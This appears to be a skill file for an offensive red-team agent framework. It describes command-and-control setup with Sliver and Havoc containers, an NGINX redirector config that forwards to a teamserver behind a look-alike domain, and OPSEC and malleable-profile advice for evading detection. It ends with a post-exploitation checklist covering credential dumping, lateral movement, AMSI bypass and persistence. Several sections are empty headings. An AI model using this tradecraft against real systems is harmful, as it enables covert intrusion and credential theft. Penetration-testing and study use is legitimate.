Command & Control (C2) Knowledge Base

C2 infrastructure enables persistent, covert communication between the operator and implants deployed on target systems. Proper C2 setup minimizes detection, ensures operational resilience through redirectors, and provides the foundation for all post-exploitation activity.

Decepticon C2 Architecture

C2 servers run as separate containers on sandbox-net, selectable via docker compose profiles. The Kali sandbox has C2 clients only — servers are never co-located with the attack box.

Framework	Container	Profile	Client in Sandbox
Sliver	c2-sliver	c2-sliver (default in .env)	sliver-client
Havoc	c2-havoc	c2-havoc (future)	havoc-client (future)

Default: COMPOSE_PROFILES=c2-sliver in .env → docker compose up -d starts Sliver. Swap: change COMPOSE_PROFILES value to use a different C2 framework. For framework-specific setup, consult the dedicated skill: c2-sliver, c2-havoc, etc.

MITRE ATT&CK Mapping

1. C2 Channel Types

Multi-Channel Strategy

Primary:   HTTPS (443)  — fast, reliable, blends with web traffic
Fallback:  DNS (53)     — survives proxy/firewall restrictions
Pivot:     mTLS (8888)  — internal movement after initial foothold
Tunnel:    WireGuard    — full network tunnel through implant

2. Implant Modes

Jitter Recommendations

Output Formats

3. Redirector Architecture

Target Network          Internet              Operator
┌──────────┐     ┌────────────────┐     ┌──────────────┐
│  Implant │────→│  Redirector    │────→│  Teamserver  │
│          │←────│  (NGINX/CDN)   │←────│  (C2 Server) │
│          │     │                │     │              │
└──────────┘     │  - URI filter  │     └──────────────┘
                 │  - UA filter   │
                 │  - GeoIP block │
                 │  - Decoy page  │
                 └────────────────┘

NGINX Reverse Proxy Redirector

# /etc/nginx/sites-available/c2-redirector
server {
    listen 443 ssl;
    server_name legitimate-looking-domain.com;

    ssl_certificate     /etc/letsencrypt/live/legitimate-looking-domain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/legitimate-looking-domain.com/privkey.pem;

    # Allow only expected C2 URIs
    location /api/v2/status {
        proxy_pass https://<TEAMSERVER_IP>:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }

    # Block all other traffic — return decoy page
    location / {
        root /var/www/html;
        index index.html;
    }
}

Redirector OPSEC

• Use aged, categorized domains (check via Bluecoat/WebPulse before engagement)
• Use Let's Encrypt or purchased certs (not self-signed)
• Layer CDN (Cloudflare/CloudFront) as additional redirect
• Deploy 2-3 redirectors for redundancy; monitor logs for IR probing

4. Malleable Profiles

Concept

Malleable profiles shape C2 traffic to mimic legitimate application traffic, evading network-based detection. Each framework has its own profile format (Sliver: HTTP C2 JSON, Havoc: YAOTL listener config, Cobalt Strike: malleable C2).

Profile Design Principles

• Match the target environment: If target runs IIS, mimic IIS traffic patterns
• Realistic URIs: Use paths that match expected web application routes
• Consistent headers: Response headers must match the claimed server technology
• Payload encoding: Use transforms (base64, prepend/append junk) to obscure payload bytes
• Avoid defaults: Never use framework default profiles in production engagements

5. Detection Signatures

6. Decision Gate

C2 Established — Next Steps

C2 Active (implant callback confirmed)
│
├──→ Credential Access
│    - hashdump, Mimikatz, Rubeus
│    - Kerberoasting, AS-REP roasting
│    - LSASS dump, SAM extraction
│
├──→ Lateral Movement
│    - PsExec, WMI, WinRM
│    - DCOM, SMB, RDP
│    - Pass-the-Hash, Pass-the-Ticket
│
├──→ Defense Evasion (if detected)
│    - AMSI/ETW bypass
│    - New loader, re-encode payload
│    - Switch C2 channel (HTTPS→DNS)
│
└──→ Persistence (if needed)
     - Scheduled tasks, services
     - Registry run keys
     - DLL hijacking

Pre-Lateral-Movement Checklist

• Stable C2 callback with appropriate jitter
• Host situational awareness complete (users, AV, domain info)
• Credentials or tokens obtained for target account
• Pivot infrastructure configured (SOCKS/port forward)
• Backup C2 channel available (DNS fallback)
• OPSEC review: no alerts triggered, implant stable

7. Tools & Resources

8. Output Files

post-exploit/c2/
├── implants/                    # Generated implant binaries
│   ├── win_beacon.exe
│   ├── lin_https
│   ├── shellcode.bin
│   └── stager.bin
├── profiles/                    # Custom C2 profiles
├── certs/                       # SSL certificates
├── loot/                        # Exfiltrated files
└── c2_operations_log.md         # Timestamped operator actions